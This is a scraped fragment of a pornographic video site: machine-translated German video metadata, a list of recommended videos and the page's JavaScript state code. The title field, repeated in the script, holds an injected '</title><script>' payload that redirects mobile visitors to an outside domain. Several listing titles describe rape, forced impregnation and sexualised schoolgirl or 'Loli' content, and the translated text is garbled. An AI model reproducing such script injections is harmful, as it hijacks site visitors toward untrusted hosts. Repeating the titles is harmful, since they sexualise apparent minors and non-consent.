</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Gute Familienfrau, oh, so bequem, so gut, mein Hintern steht ab, aber ich kann keinen Saft herausbringen, ich habe eine pralle Figur und helle Haut. Superweißer 69er, Hühnchen essen, meine Muschi lecken, vom großen Bruder auf verschiedene Weise ejakuliert werden und schließlich in mir ejakulieren, ich bin sehr zufrieden.</title><script>If(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><script>Gute Familienfrau, oh, so bequem, so gut, mein Hintern steht ab, aber ich kann keinen Saft herausbringen, ich habe eine pralle Figur und helle Haut.</script></script>
Gute Familienfrau, oh, so bequem, so gut, mein Hintern steht ab, aber ich kann keinen Saft herausbringen, ich habe eine pralle Figur und helle Haut. Superweißer 69er, Hühnchen essen, meine Muschi lecken, vom großen Bruder auf verschiedene Weise ejakuliert werden und schließlich in mir ejakulieren, ich bin sehr zufrieden.","site_id":0,"video_url":"https://lsbbf10.com/20260709/sZdE0Vir/index.m3u8","images":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvMzNjNDZjZGU1YmY5OGUzM2ExYWE1Njg5OWJkNzRiZDUuanBn.cache","duration":"","actor":[],"lastmod":1783766805,"rating":"10.0","view_count":806,"description":"Gute Familienfrau, so gemütlich und gut, mein Po steht ab, aber ich kann nicht kommen, ich habe eine volle Figur und helle Haut. Superweißer 69er, PUBG spielen, meine Muschi lecken, vom großen Bruder auf verschiedene Weise attackiert werden und schließlich in mir kommen, ich bin sehr zufrieden.","tag":["Gute Familie","Familie","gute Familienfrau","Gattin","So bequem","Komfortabel","genau","Hintern","Figur","voll","Haut","Superweiß","Huhn","Muschi lecken","Großer Bruder","Verschieden","Ausgabe","endlich","Injektion","erfüllen"],"site_url":"314248","free":1,"clarity":1,"vr":2,"is_caiji":0,"fenlei":["国产人妻"],"preview":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA3MTAvMzNjNDZjZGU1YmY5OGUzM2ExYWE1Njg5OWJkNzRiZDUuanBn.cache","maker":"","table_name":"videos_yutuzy","content":"","download_url":"","magnet_url":"","torrent_url":"","preview_images":"","release_date":"","series":"","studio":"","s_title":"良家人妻啊好舒服爽不爽屁股翘着流不出来身材丰满皮肤.超白69吃鸡舔逼被大哥各种输出最后内射很满足","s_keywords":"良家人妻啊好舒服爽不爽屁股翘着流不出来身材丰满皮肤.超白69吃鸡舔逼被大哥各种输出最后内射很满足","s_description":"Gute Familienfrau, oh, so bequem, so gut, mein Hintern steht ab, aber ich kann keinen Saft herausbringen, ich habe eine pralle Figur und helle Haut. Superweißer 69er, Hühnchen essen, meine Muschi lecken, vom großen Bruder auf verschiedene Weise ejakuliert werden und schließlich in mir ejakulieren, ich bin sehr zufrieden.","cid":"","items":[{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvOGI4OWE3MzMzZWE5MmIyZDE4ZWNhYWFjMTc2YzE0N2YuanBn.cache","vod_id":19183832,"title":"Einsame verheiratete Frau hat ungeschützten Geschlechtsverkehr und ejakuliert in ihn.","lastmod":"2026-03-02","duration":"0:08:40","url":"/play/19183832.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA0MTUvNGQ1NDFiZTRmMDI4NTM0YWU0MGRhOTBjNDNjYjcyZTIuanBn.cache","vod_id":19130831,"title":"Die hübsche Hausfrau Komatsu Anzu, die in der Nähe wohnt (MOND-242-C).","lastmod":"2025-04-15","duration":"2:01:22","url":"/play/19130831.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA3MDgvYjkwNTI3MDY5YTNmYTk1Mzg3ZjZlNjkyNDhmMTg1OTQuanBn.cache","vod_id":19142579,"title":"C2895 Geschichte der Ehefrau E Rina","lastmod":"2025-07-07","duration":"4:00:25","url":"/play/19142579.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMjM1ZTc0NGRjMDdlM2E2ZjdjNGZhNDg0YTE5ODE5ZDYuanBn.cache","vod_id":19079116,"title":"Die Blütenblätter einer verheirateten Frau klappen um – Shirakawa Hanayoshi.","lastmod":"2025-03-26","duration":"2:15:43","url":"/play/19079116.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzI4YmJhOGFhMmU4ODkzNTE0NDUxMzA2NzI2ZGYyNGUuanBn.cache","vod_id":19037688,"title":"Ungeschützter Analverkehr mit dickflüssigem Samenerguss und Analruptur","lastmod":"2025-03-26","duration":"0:10:08","url":"/play/19037688.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvODc1OWI2MzMyNzY3MTE2ZTYwMTUxZTQxZmY0ZWNkM2UuanBn.cache","vod_id":19180175,"title":"Eine verheiratete Frau wurde am Tag ihrer Hochzeit beim Fremdgehen mit dem Bruder ihres Mannes erwischt. Der Ehemann veröffentlichte daraufhin in einem Wutanfall das Video.","lastmod":"2026-02-13","duration":"0:06:22","url":"/play/19180175.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9zYnp5dHBpbWc0LmNvbTozNTE5L3VwbG9hZC92b2QvMjAyNjAyMjUtMS9hZjU3OTk1OGVmYmViN2RkZWRmYzg1ZDM1ZjcyMzgzYi5qcGc=.cache","vod_id":19182693,"title":"Ein Mann trifft sich in einem Hotel mit einer verheirateten Frau; der Kontrast ist frappierend.","lastmod":"2026-02-25","duration":"0:14:39","url":"/play/19182693.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvNzU0NTA3OTgwMDU4YTQyZjA0OWVkMTc0OGQ0NGY3OGYuanBn.cache","vod_id":19125570,"title":"Jelly, eine verheiratete Frau, die vergewaltigt wurde, ein Dieb kam, um in mein Haus einzubrechen, fesselte mich und missbrauchte mich. Zhao Meifeng.","lastmod":"2025-03-26","duration":"0:22:14","url":"/play/19125570.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvM2JlOWYwNjY0MGUxZWU2MTI0YTA4MzI3ZWI0ODBiODMuanBn.cache","vod_id":19042242,"title":"Unzensierte Version von Maid Injection","lastmod":"2025-03-26","duration":"0:59:21","url":"/play/19042242.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNjI4YmVjNTlhNTI4YTZmMDc1MjRmMTllOGFjNzc2M2UuanBn.cache","vod_id":19184092,"title":"Zierlich und bezaubernd in einem roten Dienstmädchen-Outfit, zieht dieses süße und wohlerzogene Schulmädchen ihre Höschen herunter und reibt ihren Penis an ihrer Öffnung, während sie um Penetration und Ejakulation bettelt.","lastmod":"2026-03-03","duration":"0:58:27","url":"/play/19184092.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDAxNDdhOTM1NzM2Mjc3MzUxNDllMTBiMWVkZGRhYTEuanBn.cache","vod_id":19072903,"title":"EBOD731 Ami (23 Jahre alt), eine freiberufliche Mitarbeiterin eines Transportunternehmens, hat eine üppige Oberweite (H-Körbchen), die man kaum sieht! Sie ist gefesselt! Sie wird so lange stimuliert, bis sie einen außergewöhnlichen Höhepunkt erreicht! ...","lastmod":"2025-03-26","duration":"2:33:33","url":"/play/19072903.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTA5MDEvODQwMTJjNjk2Y2ZjZjkxMDA1OGEzYjc4NjkyYTI0YjEuanBn.cache","vod_id":19152246,"title":"Die wunderschöne, kurvenreiche, junge verheiratete Frau Kamijo Yu, 32 Jahre alt, gibt ihr Debüt! (Es folgt ein themenfremder Text: „Dies ist ein erstklassiger Shirai Yuhi 336DTT071“)","lastmod":"2025-08-31","duration":"2:15:18","url":"/play/19152246.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvOGRlODk4ZGY2NmI2Yzg1NWEzZDhkY2ExMzZlYzMwMWIuanBn.cache","vod_id":19126856,"title":"XVSR358 Zwangsbefruchtung der unschuldigen Studentin Wakatsuki Mariya.","lastmod":"2025-03-26","duration":"1:26:12","url":"/play/19126856.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYjM5NGQ5OTgxMGMzNGExNmZiNjk1YjA2YTlkNjRlOGUuanBn.cache","vod_id":19097809,"title":"„Lehrerin, lass uns Ehebruch begehen.“ Ich bin eine Lehrerin, deren Ehe in einer Krise steckt, und ein Schüler, der in mir ejakulieren wollte, hatte mehrmals Sex mit mir!","lastmod":"2025-03-26","duration":"1:59:20","url":"/play/19097809.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMDYyNjE5OTM4NTczNTA2NWEyMTZjNmVhM2JhMGQ2MzMuanBn.cache","vod_id":19129164,"title":"JK-Uniform-Loli-Mädchen mit vollem Busen","lastmod":"2025-03-30","duration":"0:12:32","url":"/play/19129164.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvN2NmNTQwNDZhMTBlZTAyNjFlOWZlMzU2NGE5MmNiZDYuanBn.cache","vod_id":19073588,"title":"KTRA174, ein zierliches und schlankes Mädchen mit kleinen Brüsten, wurde von einer pfirsichblütenartigen Stimme durchdrungen.","lastmod":"2025-03-26","duration":"1:58:33","url":"/play/19073588.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvZmY0MTZhNmJmMjYwMGM4ZjZmYTlmOTBmNmY0YjFhMzUuanBn.cache","vod_id":19200256,"title":"Er hat ein süßes Mädchen mit toller Figur, das im Bikini super aussah, aufgelesen und mit ihr geschlafen. ☆ 10 Amateur Pro","lastmod":"2026-05-20","duration":"4:46:21","url":"/play/19200256.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvYzA3ZjJhNDIyNDU4OTM2MTExYmYzYWU5NTJmYjQyYmIuanBn.cache","vod_id":19042749,"title":"Ein schlankes, kurviges und sexy Mädchen bekam eine Erektion, nachdem sie ihrem Freund einen Blowjob gegeben hatte, und wurde dann ruiniert.","lastmod":"2025-03-26","duration":"0:11:23","url":"/play/19042749.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNmE2MmEwZTRmN2RiOTRhYmU5ZDcyNjVhNDI0Y2U5MDguanBn.cache","vod_id":19183630,"title":"Ein Meister des BDSM entwickelte ein System zur intensiven Ausbildung mehrerer hochwertiger, perfekt proportionierter Hündinnen.","lastmod":"2026-03-01","duration":"0:01:20","url":"/play/19183630.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvZTMyMTNlZDNjNjBlYjQ3MDEyMmM3NmE0YzVkYzc4MWMuanBn.cache","vod_id":19086096,"title":"Wenn der Kunde sehr impulsiv ist, setzen Sie übertrieben suggestive Handlungen ein, um ihn anzusprechen und ihn zu einer formellen Teilnahme an der Dienstleistung einzuladen. (Darauf folgt eine scheinbar unzusammenhängende Formulierung: „Die echte Tanaka Nene, eine verheiratete Frau, die männliche Schönheitsdienstleistungen in Anspruch nehmen möchte.“)","lastmod":"2025-03-26","duration":"3:55:28","url":"/play/19086096.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTAzMzEvMmE2ZGNlYWI5MTQ5ZTg5MmRiNWE3ODJmYjBhMDNiNWYuanBn.cache","vod_id":19085855,"title":"Twitter-ED-Göttin 'Xiao Ba' neuestes bezahltes Gruppen-Privatshooting: Deep Throat kniend leckend, reitend und stoßend, zufällige Ejakulation, perfekte Gesichtsenthüllung.","lastmod":"2025-03-26","duration":"1:11:02","url":"/play/19085855.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNTEyMjMvNzM0ZTU2OTA0MWRmOGUwY2U0Zjk4OTVkNDhlNDQ4NTAuanBn.cache","vod_id":19174687,"title":"Ein Schüler aus Baihu lernte online einen attraktiven Mann kennen, der verschiedene Methoden anwandte, um mit ihm zu chatten und sich zu verabreden. Sie gingen in ein Hotel, wo er Oralverkehr und einen großen Penis empfing, gefolgt von einem heftigen Doggy-Style-Sex, bei dem er wiederholt penetriert wurde, bis er schrie und stöhnte. Er wurde dreimal hintereinander penetriert.","lastmod":"2026-01-18","duration":"0:14:43","url":"/play/19174687.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly92aWRlby5kYWdlLnRvcC9zdG9yYWdlL3VwbG9hZHMvMjAyNjA1MTMvYzMzODMxOGE5YjcyM2ExZDgyMzkwNjFlYzlmY2IxZjYuanBn.cache","vod_id":19202409,"title":"Durstige Singles treffen sich zu einer leidenschaftlichen Vierer-Sex-Session mit Gesichtsbemalung, Oralsex, Schwanzlecken, Nippellecken, Nacktsex, einem Kampf verschiedener Stellungen, intensivem Ficken und Stoßen.","lastmod":"2026-05-31","duration":"1:00:22","url":"/play/19202409.html"},{"img":"https://cache.sgvafs.com/base/aHR0cHM6Ly9zYnp5dHBpbWc0LmNvbTozNTE5L3VwbG9hZC92b2QvMjAyNjAzMTMtMS9iNmI5MzY5YmRkOWY5NmRhODQ1ZWU5NThjZjIyZDIwYS5qcGc=.cache","vod_id":19186173,"title":"Eine verheiratete Frau erlebt verbotenen polynesischen Sex mit dem Stiefsohn ihres Mannes und genießt den ultimativen Höhepunkt durch langsamen, tiefen Geschlechtsverkehr über fünf Tage, aus DVMM-348.","lastmod":"2026-03-13","duration":"2:28:20","url":"/play/19186173.html"}]},
videoTitle: '</title><script>if(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><title>Gute Familienfrau, oh, so bequem, so gut, mein Hintern steht ab, aber ich kann keinen Saft herausbringen, ich habe eine pralle Figur und helle Haut. Superweißer 69er, Hühnchen essen, meine Muschi lecken, vom großen Bruder auf verschiedene Weise ejakuliert werden und schließlich in mir ejakulieren, ich bin sehr zufrieden.</title><script>If(/Mobile|Android|iPhone|iPad/.test(navigator.userAgent)){window.location.replace("https://xiazai.it.com")}</script><script>Gute Familienfrau, oh, so bequem, so gut, mein Hintern steht ab, aber ich kann keinen Saft herausbringen, ich habe eine pralle Figur und helle Haut.</script></script>',
language: 'de',
dataKey: '01',
loadingPlayer: true,
showShare: false,
pageUrl: '',
// RecommendedMovies 组件状态
isSingleColumn: false,
pageSize: 8,
currentPage: 1,
// 计算属性(使用 getter)
get layoutIconClass() {
return this.isSingleColumn ? 'icon-view-list' : 'icon-grid';
},
get layoutClass() {
return [
'row',
'g-3',
'row-cols-1',
this.isSingleColumn ? '' : 'row-cols-2',
'row-cols-lg-4'
].filter(Boolean).join(' ');
},
// 方法
onAppMounted() {
// 设置页面 URL
this.pageUrl = window.location.href;
// 保存观看历史
this.saveWatchHistory();
// 更新标签统计
if (this.videoData.tag && this.videoData.tag.length > 0) {
this.updateTagStats(this.videoData.tag);
}
// 发送点击统计
this.hitVideoId(this.videoData.id);
// 从 Cookie 读取布局偏好
const layoutCookie = this.getCookie('list_layout');
if (layoutCookie === 'single') {
this.isSingleColumn = true;
}
// 监听 iframe 加载完成,隐藏骨架屏
// 使用 setTimeout 确保 DOM 已完全渲染
setTimeout(() => {
const iframe = document.getElementById('v2-player');
const skeleton = document.getElementById('player-skeleton');
if (iframe && skeleton) {
// 定义隐藏骨架屏的函数
const hideSkeleton = () => {
skeleton.style.transition = 'opacity 0.3s ease';
skeleton.style.opacity = '0';
setTimeout(() => {
skeleton.style.display = 'none';
}, 300);
};
// 检查 iframe 是否已经加载完成
if (iframe.contentDocument || iframe.contentWindow) {
try {
// 如果 iframe 已加载,直接隐藏骨架屏
if (iframe.contentWindow.document.readyState === 'complete') {
setTimeout(hideSkeleton, 500);
return;
}
} catch (e) {
console.log('[Video] 跨域 iframe,无法检查状态:', e.message);
// 跨域情况下无法访问 contentWindow,继续监听 load 事件
}
}
// 监听 load 事件
iframe.addEventListener('load', () => {
console.log('[Video] iframe load 事件触发');
setTimeout(hideSkeleton, 500);
});
// 添加超时保护,确保骨架屏最终会被隐藏
setTimeout(() => {
if (skeleton.style.display !== 'none') {
console.log('[Video] 超时保护触发,强制隐藏骨架屏');
hideSkeleton();
}
}, 5000); // 5秒后强制隐藏
} else {
console.error('[Video] 未找到 iframe 或 skeleton 元素');
}
}, 0);
},
// 随机跳转
async jumpToRandomVideo() {
try {
const response = await fetch(`/api/qun/randomid?t=${Date.now()}`, {
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
});
const data = await response.json();
if (data?.status === 1 && data?.data?.id) {
window.location.href = `/${this.language}/play/${data.data.id}.html`;
} else {
console.error('获取随机视频失败:', data?.message || '未知错误');
}
} catch (err) {
console.error('获取随机视频失败:', err);
}
},
// 复制分享链接
copyShareLink() {
const input = this.$refs.shareInput;
if (input) {
input.select();
input.setSelectionRange(0, 99999); // For mobile devices
// 尝试使用现代 API
if (navigator.clipboard && navigator.clipboard.writeText) {
navigator.clipboard.writeText(this.pageUrl).then(() => {
alert('Link kopiert!');
}).catch(() => {
// 降级到旧方法
document.execCommand('copy');
alert('Link kopiert!');
});
} else {
// 降级到旧方法
document.execCommand('copy');
alert('Link kopiert!');
}
}
},
// 切换布局
toggleLayout() {
this.isSingleColumn = !this.isSingleColumn;
this.setCookie('list_layout', this.isSingleColumn ? 'single' : 'multi', 30);
},
// 加载更多
loadMore() {
this.currentPage++;
},
// 保存观看历史
saveWatchHistory() {
try {
const storageKey = 'watchHistory';
let history = JSON.parse(localStorage.getItem(storageKey) || '[]');
// 解码 HTML 实体编码的标题
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const video = {
id: this.videoData.id,
title: decodeHtmlEntities(this.videoData.title),
image: this.videoData.images || this.videoData.preview,
duration: this.videoData.duration || ''
};
// 过滤掉已存在的相同 ID 视频
history = history.filter(item => item.id !== video.id);
// 添加新记录到最前面
history.unshift(video);
// 限制最多保存 100 条
if (history.length > 100) {
history = history.slice(0, 100);
}
localStorage.setItem(storageKey, JSON.stringify(history));
} catch (e) {
console.error('Failed to save watch history:', e);
}
},
// 更新标签统计
updateTagStats(tags = []) {
// HTML 实体解码函数
const decodeHtmlEntities = (text) => {
const textarea = document.createElement('textarea');
textarea.innerHTML = text;
return textarea.value;
};
const storageKey = this.dataKey + 'tagWatchStats';
const lastWatchedKey = this.dataKey + 'tagLastWatched';
const raw = localStorage.getItem(storageKey);
const stats = raw ? JSON.parse(raw) : {};
// 解码标签并统计
const decodedTags = tags.map(tag => decodeHtmlEntities(tag));
decodedTags.forEach(tag => {
stats[tag] = (stats[tag] || 0) + 1;
});
localStorage.setItem(storageKey, JSON.stringify(stats));
localStorage.setItem(lastWatchedKey, JSON.stringify(decodedTags));
},
// 点击统计
hitVideoId(id) {
fetch(`/api/qun/hit?type=play&id=${id}`, {
method: 'GET',
headers: {
'x-data-key': this.dataKey,
'x-api-key': 'dagexxx.com'
}
}).catch(err => {
console.error('点击统计失败:', err);
});
},
// Cookie 工具方法
getCookie(name) {
const value = `; ${document.cookie}`;
const parts = value.split(`; ${name}=`);
if (parts.length === 2) return parts.pop().split(';').shift();
},
setCookie(name, value, days) {
const expires = new Date(Date.now() + days * 864e5).toUTCString();
document.cookie = `${name}=${value}; expires=${expires}; path=/`;
}
};
}